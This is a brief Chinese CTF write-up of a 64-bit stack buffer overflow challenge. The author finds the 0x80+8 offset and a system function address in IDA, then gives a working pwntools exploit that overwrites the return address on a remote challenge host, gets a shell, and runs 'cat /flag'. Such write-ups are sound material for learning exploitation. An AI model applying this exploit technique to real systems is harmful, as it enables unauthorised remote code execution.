下载附件,简单运行一下,发现出现一个hello world然后让我们输入一个字符串,然后就退出程序……
我们拿到ida里面看一看

发现有一个vul这种函数,我们跟进去看看

发现buf这个变量向堆栈申请了80h这个长度,也就是128个字节,但是我们可以输入200个字节,这个就很危险了,可以确定偏移量为80h+8没错了,我们就是要先填充垃圾字符搞一下80h+8,然后将函数的返回地址改写成system至于为啥是80h+8,放个图,就不解释了(汇编画画堆栈图就知道啦)

然后还发现有system函数

我们一路跟进去,找找函数地址在哪

完美,拿到了函数地址,那么构造exp就很简单了:

from pwn import *

r = remote('124.126.19.106','35956')

offset = 0x80 + 8
system_addr = 0x400596

payload = offset * 'A' + p64(system_addr)

r.sendline(payload)
r.interactive()

直接拿到shell了

cat /flag 就完辣